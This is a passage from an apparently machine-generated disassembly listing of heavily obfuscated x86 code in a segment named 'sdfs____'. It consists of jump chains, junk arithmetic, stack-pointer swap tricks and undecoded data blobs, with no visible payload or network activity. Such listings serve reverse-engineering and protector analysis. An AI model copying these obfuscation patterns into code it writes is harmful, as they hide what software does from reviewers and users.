loc_59B391:				; CODE XREF: sdfs____:005AAA4Ej
		mov	dh, ah
		pop	eax
		add	al, 34h
		jmp	loc_5A6898
; ---------------------------------------------------------------------------


loc_59B39B:				; CODE XREF: sdfs____:005AD19Fj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A32D9
; ---------------------------------------------------------------------------


loc_59B3A4:				; CODE XREF: sdfs____:0059C831j
					; sdfs____:005ABD78j
		push	436Eh
		jmp	loc_59924C
; ---------------------------------------------------------------------------


loc_59B3AE:				; CODE XREF: sdfs____:005A8DD2j
		push	edi
		mov	edi, 278F5308h
		or	edi, 376E2EF8h
		shr	edi, 6
		dec	edi
		shr	edi, 7
		shl	edi, 7
		jmp	loc_5A8FE1
; ---------------------------------------------------------------------------
byte_59B3C9	db 0FFh, 34h, 24h	; DATA XREF: sdfs____:00598F88o
		dd 8B2434FFh, 89502404h, 405E0h, 4050000h, 0E9000000h
		dd 0FFFFEE49h
; ---------------------------------------------------------------------------


loc_59B3E4:				; CODE XREF: sdfs____:loc_5A0D14j
		xor	eax, 7328729Ch
		jmp	loc_59CA8F
; ---------------------------------------------------------------------------
		dw 0CF81h
		dd 46B4A7Bh, 24C4E781h,	0E7D13C63h, 67C8E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B402:				; CODE XREF: sdfs____:loc_5A6214j
		xor	esi, 2B156C3Dh
		mov	eax, esi
		pop	esi
		dec	eax
		jmp	loc_5AADB5
; ---------------------------------------------------------------------------


loc_59B411:				; CODE XREF: sdfs____:005992B0j
		pop	ebx
		sub	ebx, 7E1C4765h
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, eax
		push	ebp
		push	30B0h
		mov	[esp], ecx
		push	15C6431Ch
		jmp	loc_5A50FE
; ---------------------------------------------------------------------------


loc_59B436:				; CODE XREF: sdfs____:005A2F7Aj
		or	esi, 4B4C27AFh
		push	edi
		jmp	loc_5A5269
; ---------------------------------------------------------------------------


loc_59B442:				; CODE XREF: sdfs____:005A6437j
		push	ebp
		mov	ebp, 75403993h
		xor	ebp, 75403997h
		add	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59DCFC
; ---------------------------------------------------------------------------


loc_59B463:				; CODE XREF: sdfs____:005A3A89j
		add	esp, 2
		push	ecx
		push	ebx
		push	edx
		mov	dl, 0C2h
		jmp	loc_59E3FA
; ---------------------------------------------------------------------------


loc_59B470:				; CODE XREF: sdfs____:005A55D2j
					; sdfs____:005A703Fj ...
		pop	esp
		mov	[esp], ebp
		push	4350h
		mov	[esp], esi
		push	eax
		push	6694h
		mov	[esp], edx
		jmp	loc_59FB21
; ---------------------------------------------------------------------------


loc_59B48A:				; CODE XREF: sdfs____:0059B5D2j
		add	ecx, 534A72B4h
		add	ecx, 56F61EC4h
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_59D073
; ---------------------------------------------------------------------------


loc_59B4A0:				; CODE XREF: sdfs____:005A45C7j
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		push	edi
		jmp	loc_5A43AD
; ---------------------------------------------------------------------------


loc_59B4B1:				; CODE XREF: sdfs____:005A8478j
		push	ebx
		jmp	loc_5A8835
; ---------------------------------------------------------------------------


loc_59B4B7:				; CODE XREF: sdfs____:005A2CFAj
		or	ecx, 1F2B418Eh
		sub	ecx, 21F55DF6h
		jmp	loc_5AD0F1
; ---------------------------------------------------------------------------


loc_59B4C8:				; CODE XREF: sdfs____:005A4D98j
		pop	ebp
		pop	ecx
		not	ecx
		xchg	ecx, ebp
		sub	ebp, 0FFFFFFFFh
		add	ebp, 8F0B1FD9h
		sub	ebx, 261C644Ch
		add	ebx, 66622A5h
		add	ebx, ebp
		sub	ebx, 66622A5h
		add	ebx, 261C644Ch
		pop	ebp
		push	28A0h
		mov	[esp], ecx
		mov	cl, 60h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59D508
; ---------------------------------------------------------------------------
aMsqg		db '¬éï£',0             ; DATA XREF: sdfs____:005990B4o
		align 10h


loc_59B510:				; CODE XREF: sdfs____:005A159Aj
		mov	edi, esp
		push	ebx
		push	ebp
		jmp	loc_5A2195
; ---------------------------------------------------------------------------
		db 2Dh,	2Bh, 74h
		dd 0DAE9021Eh, 4900002Bh, 5B088B0Fh, 0E9810000h, 5C8F57C6h
		dd 51A0EE80h
; ---------------------------------------------------------------------------


loc_59B534:				; CODE XREF: sdfs____:005A70E5j
		mov	[esp], ebx
		push	ecx
		push	esi
		mov	esi, 21F41536h
		mov	ecx, esi
		pop	esi
		sub	ecx, 0E2B55CDh
		xor	ecx, 2CBFF69Eh
		mov	ebx, ecx
		jmp	loc_5A4A05
; ---------------------------------------------------------------------------
		dd 0ADB68h, 241C8900h, 42474FFh, 102FCE9h
		db 0
; ---------------------------------------------------------------------------


loc_59B565:				; CODE XREF: sdfs____:0059A191j
		shr	eax, 3
		push	ebx
		push	0FFFFFFFFh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	eax, ebx
		pop	ebx
		push	edi
		mov	edi, 331494E0h
		xor	eax, edi
		jmp	loc_5A60D7
; ---------------------------------------------------------------------------


loc_59B588:				; CODE XREF: sdfs____:0059D2A2j
		mov	[esp], esi
		jmp	loc_5AEC55
; ---------------------------------------------------------------------------
		dd 0E48DC581h, 0EE89A0B3h, 0B7E9505Dh, 83000010h, 5A6804C4h
		dd 89000014h, 0D4B82404h, 0D73E352h, 3015E1h, 0AC2AAE05h
		dd 0E88A0F4Dh, 0F7000062h, 548D0FD8h, 0F000070h, 1333A8Bh
		db 0
; ---------------------------------------------------------------------------


loc_59B5CD:				; CODE XREF: sdfs____:005A59BBj
		mov	ecx, 55BF6E8Ch
		jmp	loc_59B48A
; ---------------------------------------------------------------------------


loc_59B5D7:				; CODE XREF: sdfs____:005A4202j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5A081D
; ---------------------------------------------------------------------------


loc_59B5E8:				; CODE XREF: sdfs____:00599967j
		add	ecx, 4
		jmp	loc_5AA1AB
; ---------------------------------------------------------------------------


loc_59B5F0:				; CODE XREF: sdfs____:005A930Aj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	cx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dd 8FE9DFF7h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59B60B:				; CODE XREF: sdfs____:005AFFD0j
		not	bx
		shl	bx, 8
		sub	bx, 54E3h
		sub	bx, 4F02h
		jmp	loc_5A02D8
; ---------------------------------------------------------------------------
aBLSB		db 'Á‹ê{',8,'é',8,'B',0
		align 4


loc_59B62C:				; CODE XREF: sdfs____:005A7B47j
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_59A074
; ---------------------------------------------------------------------------
		dw 0C15Bh
		dd 0EEC104E6h, 70BD5502h, 1E7E5E6h, 0E8E7E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B652:				; CODE XREF: sdfs____:005A7451j
		push	6E33h
		mov	[esp], edx
		push	eax
		jmp	loc_5A30B1
; ---------------------------------------------------------------------------


loc_59B660:				; CODE XREF: sdfs____:005A8E65j
		mov	[esp], ebp
		mov	ebp, 7D376F2Ah
		or	ebp, 28DE0F88h
		shr	ebp, 1
		jmp	loc_59A328
; ---------------------------------------------------------------------------


loc_59B675:				; CODE XREF: sdfs____:005AD504j
		xor	esi, 4AB2C2ABh
		xor	ecx, esi
		pop	esi
		jmp	loc_5A433F
; ---------------------------------------------------------------------------


loc_59B683:				; CODE XREF: sdfs____:005A70B4j
		mov	eax, 53A531Ch
		dec	eax
		jmp	loc_5A17AC
; ---------------------------------------------------------------------------


loc_59B68E:				; CODE XREF: sdfs____:005AA206j
		and	ebx, 37A918DBh
		dec	ebx
		neg	ebx
		push	edx
		jmp	loc_5A7901
; ---------------------------------------------------------------------------
aFssP		db 'fSé)P',0
		align 4


loc_59B6A4:				; CODE XREF: sdfs____:005AFD9Dj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5A913B
; ---------------------------------------------------------------------------
		dd 35B868h, 24148900h, 0E0895057h, 405h, 4E88300h, 0E9240487h
		dd 0E970h
; ---------------------------------------------------------------------------


loc_59B6CC:				; CODE XREF: sdfs____:005A9017j
		push	16Ch
		mov	[esp], ebx
		push	edx
		mov	dh, 1Eh
		mov	bl, 27h
		sub	bl, 72h
		jmp	loc_5A1EDA
; ---------------------------------------------------------------------------


loc_59B6E1:				; CODE XREF: sdfs____:005A2402j
		sub	eax, ebp
		jmp	loc_5A716F
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2810000h, 4, 5C241487h, 535DEF01h,	47EDE9h
		db 0
; ---------------------------------------------------------------------------


loc_59B701:				; CODE XREF: sdfs____:0059E8A2j
		push	edx
		jmp	loc_5A245B
; ---------------------------------------------------------------------------


loc_59B707:				; CODE XREF: sdfs____:0059915Ej
					; sdfs____:005AE4A4j
		add	ecx, 5F26003Ch
		jmp	loc_59AB74
; ---------------------------------------------------------------------------


loc_59B712:				; CODE XREF: sdfs____:0059FD56j
		push	1C7Ah
		mov	[esp], edi
		jmp	loc_5AA20B
; ---------------------------------------------------------------------------


loc_59B71F:				; CODE XREF: sdfs____:005A9F22j
		push	eax
		mov	eax, 0
		add	eax, edx
		jmp	loc_5A1EA0
; ---------------------------------------------------------------------------
		dd 5C240C87h, 51242C89h, 1B0202B9h, 8BCD892Fh, 0C481240Ch
		dd 4, 0A8E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B749:				; CODE XREF: sdfs____:005AB53Cj
		neg	esi
		and	esi, 65CA590Dh
		dec	esi
		jmp	loc_5AD157
; ---------------------------------------------------------------------------


loc_59B757:				; CODE XREF: sdfs____:0059BD2Ej
		mov	[esp], edx
		jmp	loc_5A9DB5
; ---------------------------------------------------------------------------
		db 81h
		dd 0FD6658C6h, 5EF72908h, 1499BA52h, 0C2815C78h, 17670111h
		dd 0EF810Fh, 0EAC10001h, 0A0A2E908h, 0E9520000h, 0DC25h
		dd 5EC7CD81h, 0E95057B4h, 140Dh
; ---------------------------------------------------------------------------


loc_59B794:				; CODE XREF: sdfs____:005A30EDj
		dec	ebx
		push	384Fh
		mov	[esp], ecx
		jmp	loc_59EE3E
; ---------------------------------------------------------------------------


loc_59B7A2:				; CODE XREF: sdfs____:005A069Fj
		inc	bl
		or	bl, 0B9h
		and	bl, 21h
		jbe	loc_5AE3A6
		add	bl, 24h
		jmp	loc_5A315E
; ---------------------------------------------------------------------------


loc_59B7B8:				; CODE XREF: sdfs____:0059AAEFj
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A1F55
; ---------------------------------------------------------------------------


loc_59B7CF:				; CODE XREF: sdfs____:005A1395j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	192Ah
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A77B2
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 83000000h, 0FF5104E9h, 59042474h, 0CF2FE9h, 97BE5600h
		dd 812FF13Ch, 5EEF8EEEh, 5EF00110h, 10A58E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B819:				; CODE XREF: sdfs____:005AD367j
		mov	edx, 39FE3E17h
		dec	edx
		sub	edx, 3BD1541Bh
		jnb	loc_5A5C6A
		jmp	loc_5A0D38
; ---------------------------------------------------------------------------


loc_59B830:				; CODE XREF: sdfs____:005AAD72j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_59D6B8
; ---------------------------------------------------------------------------


loc_59B840:				; CODE XREF: sdfs____:005A962Bj
		shr	edi, 5
		jmp	loc_5AB702
; ---------------------------------------------------------------------------


loc_59B848:				; CODE XREF: sdfs____:00599CF6j
		add	ebp, 5CD7631Ah
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 3EB04299h
		sub	ebx, eax
		push	edi
		mov	edi, 3EB04299h
		jmp	loc_5AA6B9
; ---------------------------------------------------------------------------


loc_59B869:				; CODE XREF: sdfs____:0059C496j
		push	ecx
		mov	ecx, 1
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_5A996F
; ---------------------------------------------------------------------------


loc_59B879:				; CODE XREF: sdfs____:005A9EF3j
		add	edi, 5D6B6BFAh
		shr	edi, 5
		add	edi, 0FC999A0Dh
		add	edx, edi
		jmp	loc_5AD804
; ---------------------------------------------------------------------------


loc_59B88F:				; CODE XREF: sdfs____:0059B11Dj
		sub	esi, 29821C17h
		add	esi, 297AC749h
		add	ecx, 56EC4E73h
		jmp	loc_5A90B0
; ---------------------------------------------------------------------------


loc_59B8A6:				; CODE XREF: sdfs____:0059F7CDj
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_59FCDD
; ---------------------------------------------------------------------------
		dd 528F0F4Bh, 0E9000070h, 0E00Eh
; ---------------------------------------------------------------------------


loc_59B8C8:				; CODE XREF: sdfs____:005A2A79j
		and	edx, 4F797F8Eh
		jge	loc_5ABB5A
		xor	edx, 4F69038Ch
		jmp	loc_5A2748
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0B086181Fh, 0F75EF001h, 8B2540D0h, 2D54791Eh, 60AF5B07h
		dd 0FF6EC335h, 58C2290Ah, 5307EAC1h, 0E51F23BBh, 0C32FE97Eh
		dd 0EB810000h, 56CB2541h, 0FFB7EB81h, 88E9C231h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59B91B:				; CODE XREF: sdfs____:00599FEDj
					; sdfs____:005A3039j
		push	14BFh
		mov	[esp], ecx
		mov	ecx, 2E1A56A4h
		jmp	loc_5A6489
; ---------------------------------------------------------------------------


loc_59B92D:				; CODE XREF: sdfs____:005A8723j
		pop	edx
		xor	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_59BB4A
; ---------------------------------------------------------------------------


loc_59B939:				; CODE XREF: sdfs____:005A44D6j
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5A8F30
; ---------------------------------------------------------------------------


loc_59B942:				; CODE XREF: sdfs____:0059B160j
		and	ebx, 19233E07h
		add	ebx, 162D77D0h
		jmp	loc_5AD00A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 2440E900h
		db 2 dup(0)
aN1HI		db '­1ØhÇi',0           ; DATA XREF: sdfs____:00598F04o
		align 2
		dd offset dword_569D48+0A1h
		db 0
; ---------------------------------------------------------------------------


loc_59B96B:				; CODE XREF: sdfs____:005A4464j
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4E7D1929h
		sub	ebx, 4E7D1925h
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 32A93757h
		neg	edx
		neg	edx
		push	esi
		mov	esi, 5E4E4A15h
		shr	esi, 8
		inc	esi
		xor	esi, 2AC94962h
		not	esi
		jmp	loc_5A36A4
; ---------------------------------------------------------------------------


loc_59B9A7:				; CODE XREF: sdfs____:005A6476j
		add	esp, 4
		jmp	loc_5AF547
; ---------------------------------------------------------------------------


loc_59B9B2:				; CODE XREF: sdfs____:loc_599854j
					; sdfs____:005A6B94j
		sub	bx, 86D1h
		push	ebp
		mov	bp, 41A4h
		shr	bp, 3
		add	bp, 21D7h
		sub	ax, bp
		pop	ebp
		sub	ax, 733Eh
		add	ax, bx
		add	ax, 733Eh
		jmp	loc_5A6500
; ---------------------------------------------------------------------------


loc_59B9D9:				; CODE XREF: sdfs____:005AFA71j
		not	dword ptr [esp]
		pop	eax
		add	eax, 3E3C3072h
		ja	loc_5A977E
		sub	eax, 66A339B0h
		jnb	loc_5A66AC
		xor	eax, 0ABDEC484h
		sub	esp, 4
		jmp	loc_5A14DC
; ---------------------------------------------------------------------------
		db 59h
		dd 0E924048Fh, 11901h
; ---------------------------------------------------------------------------


loc_59BA0C:				; CODE XREF: sdfs____:005A5425j
		push	51ABh
		mov	[esp], edx
		mov	edx, 38h
		jmp	loc_59A50F
; ---------------------------------------------------------------------------
word_59BA1E	dw 0F766h		; DATA XREF: sdfs____:00598F78o
		dd 0E99C241Ch, 0FFFFD6E7h
; ---------------------------------------------------------------------------


loc_59BA28:				; CODE XREF: sdfs____:005AC16Fj
		mov	edx, [esp]
		add	esp, 4
		xor	al, ch
		jmp	loc_5A4B10
; ---------------------------------------------------------------------------


loc_59BA35:				; CODE XREF: sdfs____:005ABB9Dj
		sub	esp, 4
		mov	[esp], eax
		push	6FD66F5Ah
		mov	eax, [esp]
		add	esp, 4
		or	eax, 508A6FF2h
		jg	loc_5AC2B0
		add	eax, 0A256D9F6h
		sub	esp, 4
		add	esi, 3C9C63A7h
		jo	loc_5AF6E7
		or	esi, 3A5807FEh
		jl	loc_59D4FD
		jmp	loc_599ACD
; ---------------------------------------------------------------------------


loc_59BA79:				; CODE XREF: sdfs____:005AC2F7j
		pop	edi
		push	edx
		push	6BB0h
		mov	[esp], ebx
		push	edi
		mov	edi, 4A12128Bh
		or	edi, 444332E2h
		xor	edi, 42A49B1h
		mov	ebx, edi
		pop	edi
		jmp	loc_5A924C
; ---------------------------------------------------------------------------


loc_59BA9D:				; CODE XREF: sdfs____:005A47CAj
		jz	loc_5A7E77
		dec	ebx
		jp	loc_5AB685
		and	ebx, 5A1F59BBh
		jmp	loc_59E50D
; ---------------------------------------------------------------------------


loc_59BAB5:				; CODE XREF: sdfs____:005A5136j
		add	ecx, ebp
		add	ecx, 750116DBh
		pop	ebp
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5A193E
; ---------------------------------------------------------------------------
byte_59BAD3	db 0FFh			; DATA XREF: sdfs____:00598F9Co
		dd 63E91C77h, 680000F0h, 30DEh,	0C339E9h
		db 0
; ---------------------------------------------------------------------------


loc_59BAE5:				; CODE XREF: sdfs____:0059EAFDj
		jmp	loc_5AEBF9
; ---------------------------------------------------------------------------


loc_59BAEA:				; CODE XREF: sdfs____:0059E5F9j
		mov	ebx, [esp]
		add	esp, 4
		add	eax, esi
		jmp	loc_5A5FD5
; ---------------------------------------------------------------------------


loc_59BAF7:				; CODE XREF: sdfs____:005A4F8Fj
		shl	ecx, 2
		or	ecx, 4B0772FDh
		add	ecx, 1C3E28D6h
		add	ebx, 31F93969h
		sub	ebx, ecx
		sub	ebx, 31F93969h
		jmp	loc_5A82FC
; ---------------------------------------------------------------------------
		db 53h,	68h, 4
		dd 5B000000h, 5E516905h, 2DD8014Fh, 4F5E5169h, 0E9241C8Bh
		dd 6EE1h
; ---------------------------------------------------------------------------


loc_59BB34:				; CODE XREF: sdfs____:0059C602j
		push	esi
		jmp	loc_5ADB6D
; ---------------------------------------------------------------------------


loc_59BB3A:				; CODE XREF: sdfs____:0059E022j
		shl	eax, 2
		shr	eax, 3
		and	eax, 3DC1C17h
		jmp	loc_5ADDE4
; ---------------------------------------------------------------------------


loc_59BB4A:				; CODE XREF: sdfs____:0059B934j
		add	esp, 4
		jmp	loc_5A42E8
; ---------------------------------------------------------------------------


loc_59BB52:				; CODE XREF: sdfs____:005A097Bj
		mov	dl, 8Ch
		mov	cl, 0E4h
		xor	cl, dl
		pop	edx
		push	ax
		mov	ah, 0BEh
		jmp	loc_5A8E0D
; ---------------------------------------------------------------------------


loc_59BB62:				; CODE XREF: sdfs____:005A3CF4j
		and	esi, 400A7ED0h
		xor	esi, 20EB7EC0h
		jmp	loc_59A472
; ---------------------------------------------------------------------------
byte_59BB73	db 81h			; DATA XREF: sdfs____:00598FD4o
		dd 4ECh, 24148900h, 28E9E289h, 500001Bh, 4, 2474FF50h
		dd 48F5804h, 24248B24h,	9C240429h, 7540E9h
		db 0
; ---------------------------------------------------------------------------


loc_59BB9D:				; CODE XREF: sdfs____:0059984Fj
		jg	loc_5A6898
		shl	ebx, 1
		xor	ebx, 3CDF702Dh
		jmp	loc_5A8D14
; ---------------------------------------------------------------------------


loc_59BBB0:				; CODE XREF: sdfs____:005A6086j
		not	ecx
		jmp	loc_5A24E7
; ---------------------------------------------------------------------------


loc_59BBB7:				; CODE XREF: sdfs____:005A890Fj
		add	esp, 2
		xor	[esp], dx
		xor	dx, [esp]
		xor	[esp], dx
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59BBCE:				; CODE XREF: sdfs____:loc_5A2060j
					; sdfs____:005A771Dj
		sub	ecx, ebx
		push	edx
		push	eax
		push	2F69374Ah
		pop	eax
		shr	eax, 3
		jp	loc_5A0D14
		jmp	loc_5A093A
; ---------------------------------------------------------------------------


loc_59BBE6:				; CODE XREF: sdfs____:loc_59ADABj
		sub	edi, 3B4229CCh
		jno	loc_5A2234
		push	edx
		mov	edx, 3E76B9Ch
		jmp	loc_5A3AD9
; ---------------------------------------------------------------------------


loc_59BBFD:				; CODE XREF: sdfs____:0059B04Aj
		sub	ebx, 687937D3h
		add	ebx, ecx
		add	ebx, 687937D3h
		mov	[ebx], dl
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	edx
		push	esp
		jmp	loc_5AC1A4
; ---------------------------------------------------------------------------


loc_59BC20:				; CODE XREF: sdfs____:loc_5A937Cj
					; sdfs____:005AE445j
		jmp	loc_5A5638
; ---------------------------------------------------------------------------
		db 68h,	2 dup(0)
		dd 4810000h, 0D556BC24h, 32EFE900h
		db 1, 0
; ---------------------------------------------------------------------------


loc_59BC36:				; CODE XREF: sdfs____:0059B0FCj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A1606
; ---------------------------------------------------------------------------


loc_59BC48:				; CODE XREF: sdfs____:005A9471j
		pop	esp
		push	esi
		mov	esi, edx
		mov	eax, esi
		pop	esi
		push	dword ptr [esp]
		pop	edx
		push	eax
		jmp	loc_599FB4
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 5704C483h, 42474FFh,	24048F5Fh, 5124248Bh, 863145B9h
		dd 126DE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BC76:				; CODE XREF: sdfs____:005A12F0j
		mov	[esp], ebp
		push	69B8592Dh
		pop	ebp
		push	esi
		mov	esi, 31023C1h
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		neg	ebp
		jmp	loc_5A80D6
; ---------------------------------------------------------------------------


loc_59BC97:				; CODE XREF: sdfs____:005AF93Bj
		sub	esp, 4
		jmp	loc_5AEAF1
; ---------------------------------------------------------------------------


loc_59BC9F:				; CODE XREF: sdfs____:005A6C2Bj
		dec	eax
		shr	eax, 1
		push	esi
		mov	esi, 1F651818h
		neg	esi
		sub	esi, 777EC6E9h
		xor	eax, esi
		pop	esi
		or	eax, 190914D8h
		add	eax, 0A0C04008h
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		push	1DC4h
		mov	[esp], eax
		mov	eax, 52595715h
		push	edx
		push	ecx
		mov	ecx, 4A406F38h
		jmp	loc_5A33BD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 8B240C87h, 89662424h,	50662414h, 2CF7E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BCFA:				; CODE XREF: sdfs____:005A50F3j
		add	ecx, edx
		jmp	loc_5B0342
; ---------------------------------------------------------------------------
		db 29h,	0CEh, 59h
		dd 0E95EF101h, 0FFFFDDFBh
; ---------------------------------------------------------------------------


loc_59BD0C:				; CODE XREF: sdfs____:005ADA73j
		pop	eax
		sub	ebx, 72401F68h
		add	ebx, ebp
		jmp	loc_599C9B
; ---------------------------------------------------------------------------


loc_59BD1A:				; CODE XREF: sdfs____:005A0644j
					; sdfs____:005A607Aj
		pop	eax
		jmp	loc_59928B
; ---------------------------------------------------------------------------


loc_59BD20:				; CODE XREF: sdfs____:005A7AE6j
		push	ecx
		push	2CA1h
		mov	[esp], eax
		push	1F70h
		jmp	loc_59B757
; ---------------------------------------------------------------------------


loc_59BD33:				; CODE XREF: sdfs____:0059F129j
		mov	ecx, 21406696h
		jmp	loc_5AEF67
; ---------------------------------------------------------------------------


loc_59BD3D:				; CODE XREF: sdfs____:005AD91Dj
		xor	ebx, 2F127573h
		jo	loc_59F62F
		jmp	loc_5A9EA3
; ---------------------------------------------------------------------------


loc_59BD4E:				; CODE XREF: sdfs____:005A0B51j
					; sdfs____:005AA71Fj
		sub	edi, 69F859DDh
		jmp	loc_5AFD90
; ---------------------------------------------------------------------------


loc_59BD59:				; CODE XREF: sdfs____:0059AB6Fj
		cmp	ecx, eax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59BD61:				; CODE XREF: sdfs____:0059F670j
		push	36BDh
		mov	[esp], esi
		push	1178h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 5B6B6FADh
		push	edi
		push	ecx
		jmp	loc_59CFA2
; ---------------------------------------------------------------------------


loc_59BD95:				; CODE XREF: sdfs____:005AB21Aj
		pop	esi
		sub	edx, 574B7A32h
		add	edx, ebp
		add	edx, 574B7A32h
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5A4D09
; ---------------------------------------------------------------------------


loc_59BDB6:				; CODE XREF: sdfs____:005A0D93j
		sub	ebx, edx
		pop	edx
		xor	eax, ebx
		pop	ebx
		or	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		not	ecx
		add	ecx, 1
		add	ecx, 0FFCFF73Ah
		jmp	loc_59D635
; ---------------------------------------------------------------------------


loc_59BDD8:				; CODE XREF: sdfs____:005AFAF0j
		shl	dl, 8
		sub	dl, 89h
		sub	ch, 94h
		sub	ch, dl
		add	ch, 94h
		mov	edx, [esp]
		add	esp, 4
		sub	al, ch
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_59F3AE
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 443D27C2h, 3503E0C1h, 69E86642h, 0FEA7B205h,	585A50B7h
		dd 7FE9D301h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59BE17:				; CODE XREF: sdfs____:0059CC81j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3CEC221Ah
		jmp	loc_59C55B
; ---------------------------------------------------------------------------


loc_59BE27:				; CODE XREF: sdfs____:005AA252j
		mov	[esp], edx
		mov	edx, 6DE19AEh
		add	edx, 0B0A06A66h
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, eax
		jmp	loc_5A2A43
; ---------------------------------------------------------------------------


loc_59BE44:				; CODE XREF: sdfs____:loc_5A53BDj
		not	ebx
		add	ebx, 703E6264h
		mov	ebp, ebx
		jmp	loc_59FDFE
; ---------------------------------------------------------------------------
		db 81h
		dd 1D4471E3h, 0CD73E945h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BE5E:				; CODE XREF: sdfs____:005AA0C8j
		dec	ebp
		push	ebx
		push	esi
		mov	esi, 0CF14F062h
		jmp	loc_5A85A9
; ---------------------------------------------------------------------------


loc_59BE6B:				; CODE XREF: sdfs____:0059D8F0j
		mov	ebp, 1EFF7A6Dh
		sub	esi, ebp
		mov	ebp, [esp]
		jmp	loc_5AE8BA
; ---------------------------------------------------------------------------


loc_59BE7A:				; CODE XREF: sdfs____:0059ACCBj
		sub	ah, 54h
		sub	bl, ah
		jmp	loc_5A38E1
; ---------------------------------------------------------------------------
		dd 241C8758h, 68BBE9h, 5E7C100h, 4624F781h, 0FD01BE5Ah
		dd 4B9515Fh, 1000000h, 0F5E959CDh, 680000A8h, 6913h, 6DB6E9h
		db 0
; ---------------------------------------------------------------------------


loc_59BEB1:				; CODE XREF: sdfs____:0059D308j
		add	eax, 49401435h
		add	eax, ebp
		sub	eax, 49401435h
		pop	ebp
		sub	eax, esi
		push	ecx
		mov	ecx, 6F6D2831h
		add	eax, 7DAA525Eh
		jmp	loc_5A2ED0
; ---------------------------------------------------------------------------


loc_59BED0:				; CODE XREF: sdfs____:0059EB21j
		push	4A66h
		mov	[esp], eax
		push	edx
		push	edi
		push	64924922h
		pop	edi
		jmp	loc_59A36D
; ---------------------------------------------------------------------------


loc_59BEE5:				; CODE XREF: sdfs____:0059E659j
		add	ch, 30h
		sub	al, ch
		jmp	loc_59C980
; ---------------------------------------------------------------------------


loc_59BEEF:				; CODE XREF: sdfs____:005A1BFCj
		xor	ecx, 6009AFB7h
		sub	eax, ecx
		jmp	loc_5A5567
; ---------------------------------------------------------------------------
		dd 4C4835Ah, 0FDDD9505h, 8BC601CFh, 0C4832404h,	6617E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59BF12:				; CODE XREF: sdfs____:0059D93Fj
		push	esp
		mov	ecx, [esp]
		jmp	loc_5A340E
; ---------------------------------------------------------------------------


loc_59BF1B:				; CODE XREF: sdfs____:005ABE84j
		xchg	bl, dh
		sub	esp, 4
		jmp	loc_5AF6A2
; ---------------------------------------------------------------------------


loc_59BF25:				; CODE XREF: sdfs____:005ABF63j
		mov	eax, [esp]
		add	esp, 4
		inc	eax
		jnz	loc_5ABB22
		or	eax, 23591EC7h
